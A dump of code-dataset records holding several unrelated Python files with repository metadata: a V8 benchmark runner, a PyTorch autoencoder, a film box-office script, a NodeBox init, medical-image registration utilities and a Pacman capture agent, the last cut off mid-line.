directory %s.\" % output_path)\n os.mkdir(output_path)\n\n if opts.verbose:\n print(\"Working directory for runs is %s.\" % suite_path)\n\n inner_command = \" -c \\\"%s --expose-gc %s %s \\\"\" \\\n % (d8_path, extra_args, cmd)\n if opts.verbose:\n print(\"calling d8 like so: %s.\" % inner_command)\n\n cmdline_base = \"python %s %s -fv -r %d -d %s\" \\\n % (benchmark_py_path, inner_command, runs, output_path_base)\n\n if mode == \"baseline\":\n cmdline = \"%s > %s\" % (cmdline_base, output_file)\n else:\n output_file_compare = output_file + \"_compare\"\n cmdline = \"%s > %s\" % (cmdline_base, output_file_compare)\n\n if opts.verbose:\n print(\"Spawning subprocess: %s.\" % cmdline)\n return_code = subprocess.call(cmdline, shell=True, cwd=suite_path)\n if return_code < 0:\n print(\"Error return code: %d.\" % return_code)\n\n if mode == \"baseline\":\n print(\"Wrote %s.\" % output_file)\n print(\"Run %s again with compare mode to see results.\" % suite)\n else:\n print(\"Wrote %s.\" % output_file_compare)\n cmdline = \"python %s %s -f %s\" % (compare_baseline_py_path, output_file, output_file_compare)\n if opts.verbose:\n print(\"Spawning subprocess: %s.\" % cmdline)\n return_code = subprocess.call(cmdline, shell=True, cwd=suite_path)\n if return_code < 0:\n print(\"Error return code: %d.\" % return_code)\n","repo_name":"nodejs/node","sub_path":"deps/v8/test/benchmarks/csuite/csuite.py","file_name":"csuite.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":99492,"dataset":"github-code","pt":"61"} +{"seq_id":"25700710818","text":"import torch\nimport torch.utils.data\nfrom torch import nn, optim\nfrom torch.nn import functional as F\nfrom torchvision import datasets, transforms\nimport sys\n\nfrom tft_dataset import TftDataset\nfrom models import TftEncoder, TftDecoder\n\n\nclass Network(nn.Module):\n def __init__(self, args):\n super(Network, self).__init__()\n self.encoder = TftEncoder(embedding_size=args.embedding_size)\n self.decoder = TftDecoder(args.embedding_size)\n\n def encode(self, x):\n return self.encoder(x)\n\n def decode(self, z):\n return self.decoder(z)\n\n def forward(self, x):\n z = self.encode(x)\n return self.decode(z)\n\n\nclass AE(object):\n def __init__(self, args):\n self.args = args\n self.device = torch.device(\"cuda\" if args.cuda else \"cpu\")\n self._init_dataset()\n train, test = torch.utils.data.random_split(self.data, [0.9, 0.1])\n self.train_loader = torch.utils.data.DataLoader(train, batch_size=64, shuffle=True)\n self.test_loader = torch.utils.data.DataLoader(test, batch_size=64, shuffle=True)\n\n self.model = Network(args)\n self.model.to(self.device)\n self.optimizer = optim.Adam(self.model.parameters(), lr=1e-3)\n\n def _init_dataset(self):\n self.data = TftDataset()\n\n def mse_loss(self, recon_x, x):\n return F.mse_loss(\n recon_x.reshape(x.shape[0], -1),\n x.reshape(x.shape[0], -1),\n reduction=\"mean\",\n )\n\n def ce_loss(self, recon_x, x):\n return F.cross_entropy(\n recon_x.reshape(-1, recon_x.shape[-1]),\n x.reshape(-1),\n reduction=\"mean\"\n )\n\n def loss_function(self, recon_x, x):\n recon_loss = self.ce_loss(recon_x[\"champions\"], x[\"champions\"])\n recon_loss += self.ce_loss(recon_x[\"champion_items\"], x[\"champion_items\"])\n recon_loss += self.ce_loss(recon_x[\"champion_star\"], x[\"champion_star\"])\n recon_loss += self.mse_loss(recon_x[\"combinations\"], x[\"combinations\"])\n recon_loss /= 4\n return recon_loss\n\n def train(self, epoch):\n self.model.train()\n train_loss = 0\n for batch_idx, data in enumerate(self.train_loader):\n for key, value in data.items():\n data[key] = value.to(self.device)\n self.optimizer.zero_grad()\n recon_batch = self.model(data)\n loss = self.loss_function(recon_batch, data)\n loss.backward()\n train_loss += loss.item()\n self.optimizer.step()\n if batch_idx % self.args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(self.train_loader.dataset),\n 100. * batch_idx / len(self.train_loader),\n loss.item() / len(data)))\n\n print('====> Epoch: {} Average loss: {:.4f}'.format(\n epoch, train_loss / len(self.train_loader.dataset)))\n\n def test(self, epoch):\n self.model.eval()\n test_loss = 0\n with torch.no_grad():\n for i, data in enumerate(self.test_loader):\n for key, value in data.items():\n data[key] = value.to(self.device)\n recon_batch = self.model(data)\n test_loss += self.loss_function(recon_batch, data).item()\n\n test_loss /= len(self.test_loader.dataset)\n print('====> Test set loss: {:.4f}'.format(test_loss))\n return test_loss\n \nif __name__ == \"__main__\":\n import argparse\n import os\n\n parser = argparse.ArgumentParser(\n description='Main function to call training for different AutoEncoders')\n parser.add_argument('--batch-size', type=int, default=128, metavar='N',\n help='input batch size for training (default: 128)')\n parser.add_argument('--epochs', type=int, default=100, metavar='N',\n help='number of epochs to train (default: 10)')\n parser.add_argument('--no-cuda', action='store_true', default=False,\n help='enables CUDA training')\n parser.add_argument('--seed', type=int, default=42, metavar='S',\n help='random seed (default: 1)')\n parser.add_argument('--log-interval', type=int, default=10, metavar='N',\n help='how many batches to wait before logging training status')\n parser.add_argument('--embedding-size', type=int, default=32, metavar='N',\n help='how many batches to wait before logging training status')\n parser.add_argument('--results_path', type=str, default='results/', metavar='N',\n help='Where to store images')\n parser.add_argument('--model', type=str, default='AE', metavar='N',\n help='Which architecture to use')\n parser.add_argument('--dataset', type=str, default='MNIST', metavar='N',\n help='Which dataset to use')\n\n args = parser.parse_args()\n args.cuda = not args.no_cuda and torch.cuda.is_available()\n torch.manual_seed(args.seed)\n\n ae = AE(args)\n if __name__ == \"__main__\":\n try:\n os.stat(args.results_path)\n except:\n os.mkdir(args.results_path)\n\n try:\n best_test_loss = float(\"inf\")\n for epoch in range(1, args.epochs + 1):\n ae.train(epoch)\n loss = ae.test(epoch)\n if loss < best_test_loss:\n print(\"Found new best model!\")\n best_test_loss = loss\n \n encoder = ae.model.encoder\n decoder = ae.model.decoder\n torch.save(encoder.state_dict(), f\"{args.results_path}/encoder.pt\")\n torch.save(decoder.state_dict(), f\"{args.results_path}/decoder.pt\")\n except (KeyboardInterrupt, SystemExit):\n print(\"Manual Interruption\")\n","repo_name":"CommanderCero/TFTPlaystylesAnalysis","sub_path":"ae.py","file_name":"ae.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30808864805","text":"#coding=utf-8\nimport pandas as pd\nnames = ['name','s_time','e_time','bor','city']\n#数据读取 预处理 将需要的日期类型 和 票房进行转换\ndf = pd.read_csv('film_log3.csv',sep=';',names=names,usecols=[0,1,2,7,8])\ndf['s_time'] = pd.to_datetime(df['s_time'])\ndf['e_time'] = pd.to_datetime(df['e_time'])\ndf['bor'] = df['bor'].str.split(')').str[1].astype(float)\n#计算电影上映周期\nperiod = lambda x:(x['e_time'].max()-x['s_time'].min()).days+1\n#选取电影\nA = df[df['name']=='《少年班》'].drop_duplicates()\n#计算A影片的上映时间\nA_period = period(A)\n#计算A的总票房\nA_tbor = A['bor'].sum()\n#计算日平均票房\nA_daily_mean = A_tbor/A_period\n\nwith open('ans0301.dat','w') as f:\n f.write('%ld,%.6f'%(A_period,A_daily_mean))\n# with 语句,不管在处理文件过程中是否发生异常,都能保证 with 语句执行完毕后已经关闭了打开的文件���柄","repo_name":"jiaoxijia/Python","sub_path":"BigDataTest/ans03/ans0301/ans0301.py","file_name":"ans0301.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7391182716","text":"import bezier\nimport context\nimport geometry\nimport physics\nimport shader\n\nfrom noise import noise\nfrom context import *\n\nphysics.line = context.line\nphysics.ellipse = context.ellipse\nphysics.Text = context.Text\n\n#-----------------------------------------------------------------------------------------------------\n# Expose the canvas and some common canvas properties on global level.\n# Some magic constants from NodeBox are commands here:\n# - WIDTH => width()\n# - HEIGHT => height()\n# - FRAME => frame()\n\ncanvas = Canvas()\n\ndef size(width=None, height=None):\n if width is not None:\n canvas.width = width\n if height is not None:\n canvas.height = height\n return canvas.size\n\ndef speed(fps=None):\n if fps is not None:\n canvas.fps = fps\n return canvas.fps\n\ndef frame():\n return canvas.frame\n \ndef clear():\n canvas.clear()","repo_name":"nodebox/nodebox-opengl","sub_path":"nodebox/graphics/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":168,"dataset":"github-code","pt":"61"} +{"seq_id":"5521022087","text":"import yaml\nimport torch\nimport numpy as np\nfrom . import *\nfrom .commonD2N import *\n# import commonD2N as dc\n# import PyCA.Core as ca\n# import PyCA.Common as common\n# import PyCACalebExtras.Common as cc\n# import PyCACalebExtras.SetBackend\n# plt = PyCACalebExtras.SetBackend.SetBackend()\nimport matplotlib.image as im\nimport scipy.ndimage.filters\n# from AppUtils import Config\n\nfrom CAMP import Core\nfrom CAMP import FileIO as io\nfrom CAMP import StructuredGridOperators\nfrom CAMP import StructuredGridTools\n\n\ndef SolveRigidAffine(src_points, tar_points, grid=None):\n '''Takes correspondance points of a source volume and a target volume\n and returns the rigid only affine matrix formatted for use with PyCA\n apply affine functions.\n\n src_points = points chosen in the source (moving) volume\n tar_points = points chosen in the target (fixed) volume\n type = both sets of points are assumed to be N x Dim column numpy array\n\n This code is an implementation of the following technical notes:\n Sorkine-Hornung, Olga, and Michael Rabinovich. \"Least-squares rigid motion using svd.\" Computing 1 (2017): 1.'''\n\n if grid is not None:\n if np.shape(src_points)[1] == 2:\n src_points = np.array(src_points) * grid.spacing().tolist()[0:2] + grid.origin().tolist()[0:2]\n tar_points = np.array(tar_points) * grid.spacing().tolist()[0:2] + grid.origin().tolist()[0:2]\n\n else:\n src_points = np.array(src_points) * grid.spacing().tolist() + grid.origin().tolist()\n tar_points = np.array(tar_points) * grid.spacing().tolist() + grid.origin().tolist()\n\n # Calculate the mean of each set of points\n src_mean = np.mean(src_points, 0)\n tar_mean = np.mean(tar_points, 0)\n\n # Subtract the mean so the points are centered at [0, 0, 0]\n src_zero = src_points - src_mean\n tar_zero = tar_points - tar_mean\n\n # Calculate the covariance matrix\n S = np.matmul(np.transpose(src_zero), tar_zero)\n\n # SVD of the covariance matrix\n [U, _, V] = np.linalg.svd(S)\n\n # Create the weights matrix and incorporate the determinant of the rotation matrix\n if np.shape(src_points)[1] == 2:\n W = np.eye(2)\n W[1, 1] = np.linalg.det(np.matmul(np.transpose(V), np.transpose(U)))\n\n else:\n W = np.eye(3)\n W[2, 2] = np.linalg.det(np.matmul(np.transpose(V), np.transpose(U)))\n\n # Caluclate the rotation matrix\n R = np.matmul(np.transpose(V), np.matmul(W, np.transpose(U)))\n\n # Calculate the translation from the rotated points\n rot_src_points = np.matmul(R, np.transpose(src_points))\n translation = tar_mean - np.mean(rot_src_points, 1)\n\n # Construct the affine matrix for use in PyCA\n if np.shape(src_points)[1] == 2:\n affine = np.zeros([3, 3])\n affine[0:2, 0:2] = R\n affine[0:2, 2] = translation\n affine[2, 2] = 1\n else:\n affine = np.zeros([4, 4])\n affine[0:3, 0:3] = R\n affine[0:3, 3] = translation\n affine[3, 3] = 1\n\n return affine\n\n\ndef SolveAffineGrid(source_image, input_affine, rot_point=None):\n \"\"\"Takes a source volume and an affine matrix and solves for the necessary\n grid in the target space of the affine. Essentially calculates the bounding\n box of the source image after apply the affine transformation\n\n source_image = volume to be transformed by the affine (Image3D type)\n input_affine = the affine transformation (4x4)\n\n Returns the grid for the transformed source volume in real coordinates\"\"\"\n\n # Make sure we don't mess with the incoming affine\n affine = np.copy(input_affine)\n\n # Get parameters from the incoming source image\n in_sz = source_image.size.tolist()\n in_sp = source_image.spacing.tolist()\n in_or = source_image.origin.tolist()\n\n # Acount for 0 indexing\n in_sz = np.array(in_sz) - 1\n\n # Extract the pure rotation and ignore scaling to find the final size of the volume\n # U, s, V = np.linalg.svd(affine[0:3, 0:3])\n # rotMat = np.eye(4)\n # rotMat[0:3, 0:3] = np.dot(U, V)\n\n # Get the corners of the volume in index coordinates\n inputCorners = np.array([0, 0, 0, 1])\n inputCorners = np.vstack((inputCorners, np.array([in_sz[0], 0, 0, 1])))\n inputCorners = np.vstack((inputCorners, np.array([0, in_sz[1], 0, 1])))\n inputCorners = np.vstack((inputCorners, np.array([in_sz[0], in_sz[1], 0, 1])))\n\n # Account for the case that the source image is 3D\n if len(in_sz) == 3:\n inputCorners = np.vstack((inputCorners, np.array([0, 0, in_sz[2], 1])))\n inputCorners = np.vstack((inputCorners, np.array([in_sz[0], 0, in_sz[2], 1])))\n inputCorners = np.vstack((inputCorners, np.array([0, in_sz[1], in_sz[2], 1])))\n inputCorners = np.vstack((inputCorners, np.array([in_sz[0], in_sz[1], in_sz[2], 1])))\n\n # Define the index corners to find the final size of the transformed volume\n indexCorners = np.matrix(inputCorners)\n\n # Find the real corners of the input volume for finding the output origin\n realCorners = np.matrix(np.multiply(inputCorners, np.array(in_sp + [1])) + np.array(in_or + [0]))\n # Apply the transformations to the real and index corners\n # Have to subtract the mean here\n # Need to have the rot_point in both index and spacing so we can rotate both about that point\n # realMean[0, 0:3] -= realMean[0, 0:3] - np.array(rot_point)\n # # This is so the translation is still included\n\n # indxMean[0, 0:3] -= indxMean[0, 0:3] - (np.array(rot_point) - np.array(in_or)) / np.array(in_sp)\n # For consistency sake - translation is going to be inreal coordiantes\n\n # Can't just do rotation can I? I need to adjust for the SCALE!!\n outRealCorners = np.matmul(affine, realCorners.transpose())\n outIndxCorners = np.matmul(affine, indexCorners.transpose())\n\n # Find the size in real and index coordinates of the output volume\n realSize = (np.max(outRealCorners, 1) - np.min(outRealCorners, 1))[0:3]\n indexSize = (np.max(outIndxCorners, 1) - np.min(outIndxCorners, 1))[0:3]\n\n # We can divide index size into real size to get the spacing of the real volume; Need to account for 2D zero\n # out_sp = np.squeeze(np.array(np.divide(realSize, indexSize, where=indexSize != 0)))\n # out_sp[out_sp == 0] = 1\n out_sp = np.abs(np.squeeze(np.array(affine * (np.matrix(in_sp + [0.0]).transpose())))).tolist()[0:3]\n\n out_sz = np.squeeze(np.array(np.ceil(realSize.transpose() / out_sp + 1).astype(int)))\n out_sz[out_sz == 0] = 1\n\n # Find the output origin by taking the min in each dimension of the real transformed corners\n out_or = np.squeeze(np.array(np.min(outRealCorners, 1)))[0:3]\n\n # Make the grid\n return Core.StructuredGrid(out_sz, spacing=out_sp, origin=out_or)\n\n\ndef UnionGrid(im1, im2):\n sz1 = im1.size().tolist()\n sp1 = im1.spacing().tolist()\n or1 = im1.origin().tolist()\n\n cor1 = np.array([0, 0, 0, 1])\n cor1 = np.vstack((cor1, np.array([sz1[0], 0, 0, 1])))\n cor1 = np.vstack((cor1, np.array([0, sz1[1], 0, 1])))\n cor1 = np.vstack((cor1, np.array([sz1[0], sz1[1], 0, 1])))\n\n # Account for the case that the source image is 3D\n if cc.Is3D(im1):\n cor1 = np.vstack((cor1, np.array([0, 0, sz1[2], 1])))\n cor1 = np.vstack((cor1, np.array([sz1[0], 0, sz1[2], 1])))\n cor1 = np.vstack((cor1, np.array([0, sz1[1], sz1[2], 1])))\n cor1 = np.vstack((cor1, np.array([sz1[0], sz1[1], sz1[2], 1])))\n\n sz2 = im2.size().tolist()\n sp2 = im2.spacing().tolist()\n or2 = im2.origin().tolist()\n\n cor2 = np.array([0, 0, 0, 1])\n cor2 = np.vstack((cor2, np.array([sz2[0], 0, 0, 1])))\n cor2 = np.vstack((cor2, np.array([0, sz2[1], 0, 1])))\n cor2 = np.vstack((cor2, np.array([sz2[0], sz2[1], 0, 1])))\n\n # Account for the case that the source image is 3D\n if cc.Is3D(im2):\n cor2 = np.vstack((cor2, np.array([0, 0, sz2[2], 1])))\n cor2 = np.vstack((cor2, np.array([sz2[0], 0, sz2[2], 1])))\n cor2 = np.vstack((cor2, np.array([0, sz2[1], sz2[2], 1])))\n cor2 = np.vstack((cor2, np.array([sz2[0], sz2[1], sz2[2], 1])))\n\n rCor1 = np.matrix(np.multiply(cor1, np.array(sp1 + [1])) + np.array(or1 + [0]))\n rCor2 = np.matrix(np.multiply(cor2, np.array(sp2 + [1])) + np.array(or2 + [0]))\n\n realSize = (np.max(np.max((rCor1, rCor2), 0), 0) - np.min(np.min((rCor1, rCor2), 0), 0))[0:3]\n\n out_sz = np.squeeze(\n np.array(np.ceil(np.divide(realSize, np.min((sp1, sp2), 0), where=np.min((sp1, sp2), 0) != 0))).astype(int))\n out_sp = np.min((sp1, sp2), 0)\n out_or = np.squeeze(np.array(np.min(np.min((rCor1, rCor2), 0), 0)))[0:3]\n\n return cc.MakeGrid(out_sz, out_sp, out_or)\n\n\ndef LoadDICOM(dicomDirectory, memType):\n '''Takes a directory that contains DICOM files and returns a PyCA Image3D\n\n dicomDirectory = Full path to the folder with the dicoms\n\n Returns an Image3D in the Reference Coordiante System (RCS)\n '''\n\n # Read the DICOM files in the directory\n dicoms = read_dicom_directory(dicomDirectory)\n\n # Sort the loaded dicoms\n sort_dcms = sort_dicoms(dicoms)\n\n # Extract the actual volume of pixels\n pixel_vol = get_volume_pixeldata(sort_dcms)\n pixel_vol = torch.tensor(pixel_vol.astype(np.int16))\n\n # Generate the affine from the dicom headers (THIS CODE WAS MODIFIED FROM dicom2nifti)\n affine, spacing, pp = create_affine(sort_dcms)\n\n # Convert the dicom volume to an Image3D\n rawDicom = Core.StructuredGrid(pixel_vol.shape, tensor=pixel_vol.unsqueeze(0), channels=1, spacing=[1.0, 1.0, 1.0],\n origin=[0.0, -1.0, 0.0])\n # rawDicom = common.ImFromNPArr(pixel_vol, memType)\n\n wcsTrans = np.eye(4)\n if pp == 'HFS':\n wcsTrans[0, 0] *= -1\n wcsTrans[1, 1] *= -1\n if pp == 'FFS':\n wcsTrans[1, 1] *= -1\n wcsTrans[2, 2] *= -1\n if pp == 'FFP':\n wcsTrans[0, 0] *= -1\n wcsTrans[2, 2] *= -1\n\n affine = torch.tensor(wcsTrans * affine, dtype=torch.float32)\n rcs_grid = SolveAffineGrid(rawDicom, affine)\n\n # world_grid = SolveAffineGrid(rcs_grid, wcsTrans)\n\n # Create the RCS Image3D and World Image3D with correct origin and spacing\n rcsImage = StructuredGridOperators.AffineTransform.Create(affine=affine)(rawDicom, rcs_grid)\n\n # Need to swap the first and third dimension for CAMP\n outImage = Core.StructuredGrid(\n size=rcsImage.size.tolist()[::-1],\n origin=rcsImage.origin.tolist()[::-1],\n spacing=rcsImage.spacing.tolist()[::-1],\n tensor=rcsImage.data.permute(0, 3, 2, 1),\n channels=1\n )\n\n return outImage\n\n\nclass PathSelector:\n\n def __init__(self, parent, paths, label):\n self.root = parent.Tk()\n self.root.title(label)\n self.root.geometry(\"1500x500\")\n self.listbox = parent.Listbox(self.root, selectmode='multiple')\n [self.listbox.insert(i, path) for i, path in enumerate(paths)]\n\n self.listbox.pack(fill=parent.BOTH, expand=True, ipady=1)\n\n self.cvtBtn = parent.Button(self.root, text='Convert Files')\n self.cvtBtn.pack()\n self.cvtBtn.bind(\"<Button-1>\", self.convert)\n\n parent.Button(self.root, text='Done', command=self.root.quit).pack()\n\n self.root.mainloop()\n\n def convert(self, event):\n self.files = []\n selections = self.listbox.curselection()\n for selection in selections:\n self.files.append(self.listbox.get(selection))\n\n def get_files(self):\n return self.files\n\n\ndef ReadList(filename):\n f = open(filename, 'r')\n readList = []\n for line in f:\n readList.append(line.strip())\n f.close()\n return readList\n\n\ndef WriteList(output_list, filename):\n f = open(filename, 'w')\n for i in output_list:\n f.write(str(i) + \"\\n\")\n f.close()\n\n\ndef WriteConfig(spec, d, filename):\n \"\"\"Write a Config Object to a YAML file\"\"\"\n with open(filename, 'w') as f:\n f.write(Config.ConfigToYAML(spec, d))\n f.close()\n\n\ndef FieldResampleWorld(f_out, f_in, bg=0):\n \"\"\"Resamples fields with partial ID background strategy.\n Assumes the input field is in real coordinates.\n\n Returns: Resampled H Field in real coordinates.\"\"\"\n\n # Create temp variable so that the orignal field is not modified\n temp = f_in.copy()\n # Change to index coordinates\n cc.HtoIndex(temp)\n # Convert the h field to a vector field\n ca.HtoV_I(temp)\n # Resample the field onto f_out grid\n ca.ResampleV(f_out, temp, bg=bg)\n # Convert back to h field\n ca.VtoH_I(f_out)\n # Convert the resampled field back to real coordinates\n cc.HtoReal(f_out)\n del temp\n\n\ndef MedianFilter_I(Im, kernel_size):\n \"\"\" In-place median filter for Image3D's \"\"\"\n\n # Keep track of the memory type to return to\n memT = Im.memType()\n # Make sure the memeor is host\n Im.toType(ca.MEM_HOST)\n # Convert to a numpy array\n Im_np = Im.asnp()\n Im_np = scipy.ndimage.filters.median_filter(Im_np, kernel_size)\n\n ca.Copy(Im, common.ImFromNPArr(Im_np, ca.MEM_HOST, sp=Im.spacing().tolist(), orig=Im.origin().tolist()))\n\n # Return to original memory type\n Im.toType(memT)\n\n\ndef LandmarkPicker(imList):\n '''Allows the user to select landmark correspondences between any number of images. The images must be in a list and must be formatted as numpy arrays. '''\n\n class PointPicker(object):\n '''Image class for picking landmarks'''\n\n def __init__(self, X):\n self.fig = plt.figure()\n self.ax = self.fig.gca()\n self.im = self.ax.imshow(X, cmap='gray')\n self.shape = np.shape(X)\n self.cords = []\n self.fig.canvas.mpl_connect('button_press_event', self.onclick)\n\n def onclick(self, event):\n if event.button == 3:\n xidx = int(round(event.xdata))\n yidx = int(round(event.ydata))\n self.cords.append([xidx, yidx])\n self.plot()\n\n def plot(self):\n self.ax.scatter(self.cords[-1][0], self.cords[-1][1])\n self.ax.set_xlim([0, self.shape[1]])\n self.ax.set_ylim([self.shape[0], 0])\n plt.pause(0.001)\n\n plt.ion()\n pickerList = [PointPicker(im) for im in imList]\n plt.show()\n # while all([p.fig.get_visible() for p in pickerList]):\n Done = False\n while not Done:\n plt.pause(0.1)\n Done = plt.waitforbuttonpress()\n\n lmCoords = [p.cords for p in pickerList]\n lengths = [len(l) for l in lmCoords]\n if min(lengths) != max(lengths):\n raise Exception('Lists of landmarks were not consistent for each image, start over!')\n\n for p in pickerList:\n plt.close(p.fig)\n\n landmarks = np.array(lmCoords).swapaxes(0, 1).tolist()\n\n if len(pickerList) == 1:\n return landmarks\n\n for lm in landmarks:\n lm[0] = lm[0][::-1]\n lm[1] = lm[1][::-1]\n\n return landmarks\n","repo_name":"blakezim/MR_Hist","sub_path":"Exvivo/RabbitCommon/Common.py","file_name":"Common.py","file_ext":"py","file_size_in_byte":14909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70441331396","text":"# ######################## Over View ############################\n#\n# Classical Planning follow the following pattern:\n#\n# Problem -> Solver -> Plan\n#\n# Problem = <S, s_0, S_g, A(s), T(a,s) -> s', C(a,s) -> int>\n# Solver = explores the problem state space, finding a plan from the initial state to goal\n# Plan = The list of actions to perform\n#\n# Blind and heuristic search:\n# Problem:\n# Achieved by subclassing the SearchProblem class\n# init:\n# getStartState: <--> s_0\n# isGoalState: <--> S_g\n# needs to recognise any goal state\n# getSuccessors: <--> ( A(s), T(a,s) -> s', C(a,s) -> int )\n#\n# generates the next states from the current state\n# This is mainly the GameState object which tracks most of the information.\n# Plus any additional infomation isGoalState requires to recognise a goal\n#\n# The following util provide are the work horse\n#\n# Utilities:\n# gameState.getLegalActions(self.captureAgent.index) <--> A(s)\n# gameState.generateSuccessor(self.captureAgent.index, action) <--> T(a,s) ->s'\n#\n# Note: by setting to correct goal, and use of a comprehensive world representation (through .generateSuccessor)\n# minimal manual rule encoding is required. It is best to keep the goal as close to the real goal as possible,\n# letting the algorithem do the work\n#\n# Solvers:\n# All design to use the Search Problem interface.\n# They have varying performance and optimality.\n# - this has a performance on the time component portion, but will not improve the decisioning of the agent\n# - for this need to re-define your goal\n#\n# Blind:\n# Take just a problem\n# Heuristic:\n# Take a problem and a search heuristic\n#\n# Plan:\n# Is the set of action to reach the goal\n\n\n########################### Guide for practicle implementation ###############################\n# Define the problem:\n# isGoalState: define goal state\n# getSuccesor: define node expansion\n# getStartState: define the inital staticmethod\n# init: store any info requred to set up the problem\n#\n# Note: the state is likely a combination of GameState and ay other information the algorithem needs to track\n# As described above:\n# by setting to correct goal, and use of a comprehensive world representation (through .generateSuccessor)\n# minimal manual rule encoding is required. It is best to keep the goal as close to the real goal as possible,\n# letting the algorithem do the work\n\n# Create an agents:\n# Create a class inheritting from CaptureAgent\n# register this class in 'createTeam'\n# define 'chooseAction'\n# - This must create the problem object above, and chose a solver to solve the problem\n# - Option include: Blind searches, Heuristic searches etc\n# use the plan returned by the solver to determine the agents next action\n\n######################### Notes on performance so far ###################################\n# Pros:\n# Avoids the ghosts actual position at it recognises this results in beng returned to the beginning - a longer path to acieving its goal\n#\n\n# Cons:\n# Does not recognise the risk of being near a ghost states\n# - this in an underlying issues of this family of techniques, as it can only recognise success state and failed state (binary). it is not suitable assigning continuous values to possitions\n# - Requires explict programming of the goal that capute the risk of being near a ghost\n# - e.g add a flag to the state indicating if the pacman has been withing 1 unit of a ghost and remove\n# - this has it's own problems (e.g when pacman is being chased), and makes the solution less pure\n# - this could be better handled by solutions that automatically account for the expected reward in each state - which captures the risk of being near a ghost\n#\n# ~ TODO: does this one count:\n# limited to explict information it its state space\n\nimport util\nfrom contextlib import contextmanager\nimport signal\nimport typing as t\n\n# Standard imports\nfrom captureAgents import CaptureAgent\nimport distanceCalculator\nimport random\nfrom game import Directions, Actions # basically a class to store data\nimport game\n\n# My imports\nfrom capture import GameState\nimport logging\n\n\n#logging.basicConfig(filename=\"agent_runtime_log.log\", level = logging.DEBUG)\n\n\n# this is the entry points to instanciate you agents\ndef createTeam(firstIndex: int, secondIndex: int, isRed: bool,\n first: str = 'offensiveAgent', second: str = 'defensiveAgent') -> t.List[CaptureAgent]:\n\n # capture agents must be instanciated with an index\n # time to compute id 1 second in real game\n return [eval(first)(firstIndex, timeForComputing=1), eval(second)(secondIndex, timeForComputing=1)]\n\n\nclass agentBase(CaptureAgent):\n \"\"\"\n A base class for reflex agents that chooses score-maximizing actions\n \"\"\"\n\n def registerInitialState(self, gameState: GameState) -> None:\n \"\"\"\n Required.\n\n This method handles the initial setup of the\n agent to populate useful fields (such as what team\n we're on).\n\n A distanceCalculator instance caches the maze distances\n between each pair of positions, so your agents can use:\n self.distancer.getDistance(p1, p2)\n\n IMPORTANT: This method may run for at most 15 seconds.\n \"\"\"\n self.start = gameState.getAgentPosition(self.index)\n # the following initialises self.red and self.distancer\n CaptureAgent.registerInitialState(self, gameState)\n\n def chooseAction(self, gameState: GameState) -> Directions:\n \"\"\"\n Required.\n\n This is called each turn to get an agent to choose and action\n\n Return:\n This find the directions by going through gameState.getLegalAction\n - don't try and generate this by manually\n \"\"\"\n actions = gameState.getLegalActions(self.index)\n\n return random.choice(actions)\n\n\nclass offensiveAgent(agentBase):\n\n def chooseAction(self, gameState: GameState) -> Directions:\n # steps:\n # Build/define problem\n # Used solver to find the solution/path in the problem~\n # Use the plan from the solver, return the required action\n\n problem = FoodOffenseWithAgentAwareness(\n startingGameState=gameState, captureAgent=self)\n try:\n with time_limit(1):\n actions = aStarSearch(problem, heuristic=offensiveHeuristic)\n # this can occure if start in the goal state. In this case do not want to perform any action.\n if actions == []:\n actions == [\"Stop\"]\n\n except TimeoutException as e:\n print(\"TimeoutException\")\n actions = [random.choice(gameState.getLegalActions(self.index))]\n #logging.exception(\"SolutiionNotFound: \"f\"initial state:\\n{str(gameState)}\"f\"problem info: expanded: {problem.expanded}. MINIMUM_IMPROVEMENT: {problem.MINIMUM_IMPROVEMENT} \")\n\n except SolutionNotFound as e:\n print(\"NotSolutionFound\")\n actions = [random.choice(gameState.getLegalActions(self.index))]\n #logging.exception(\"SolutiionNotFound: \"f\"initial state:\\n{str(gameState)}\"f\"problem info: expanded: {problem.expanded}. MINIMUM_IMPROVEMENT: {problem.MINIMUM_IMPROVEMENT} \")\n\n # logging.info(actions)\n #logging.info(f\"Agent position: {gameState.getAgentPosition(self.index)}\" f\"Number of expanded states {problem.expanded}\")\n return actions[0]\n\n return actions[0]\n\n\n################# problems and heuristics ####################\n\ndef uniform_agent_direction(gameState):\n '''\n the agent direction is considered when checking for equality of game state.\n This is not important to us and creates more states than required, so set them all to be constant\n '''\n default_direction = Directions.NORTH\n\n for agent_state in gameState.data.agentStates:\n if agent_state.configuration:\n agent_state.configuration.direction = default_direction\n else:\n pass # this happens when non enemy agent is visible - not required to do anything here\n\n return gameState\n\n\nclass FoodOffenseWithAgentAwareness():\n '''\n This problem extends FoodOffense by updateing the enemy ghost to move to our pacman if they are adjacent (basic Goal Recognition techniques).\n This conveys to our pacman the likely effect of moving next to an enemy ghost - but doesn't prohibit it from doing so (e.g if Pacman has been trapped)\n\n Note: This is a SearchProblem class. It could inherit from search.Search problem (mainly for conceptual clarity).\n '''\n\n def __init__(self, startingGameState: GameState, captureAgent: CaptureAgent):\n \"\"\"\n Your goal checking for the CapsuleSearchProblem goes here.\n \"\"\"\n self.expanded = 0\n self.startingGameState = uniform_agent_direction(startingGameState)\n # Need to ignore previous score change, as everything should be considered relative to this state\n self.startingGameState.data.scoreChange = 0\n self.MINIMUM_IMPROVEMENT = 1\n self.DEPTH_CUTOFF = 1\n # WARNING: Capture agent doesn't update with new state, this should only be used for non state dependant utils (e.g distancer)\n self.captureAgent: CaptureAgent = captureAgent\n self.goal_state_found = None\n\n def getStartState(self):\n # This needs to return the state information to being with\n return (self.startingGameState, self.startingGameState.getScore())\n\n def isGoalState(self, state: t.Tuple[GameState]) -> bool:\n \"\"\"\n Your goal checking for the CapsuleSearchProblem goes here.\n \"\"\"\n # Goal state when:\n # - Pacman is in our territory\n # - has eaten x food: This comes from the score changing\n # these are both captured by the score changing by a certain amount\n\n # Note: can't use CaptureAgent, at it doesn't update with game state\n gameState = state[0]\n\n # If red 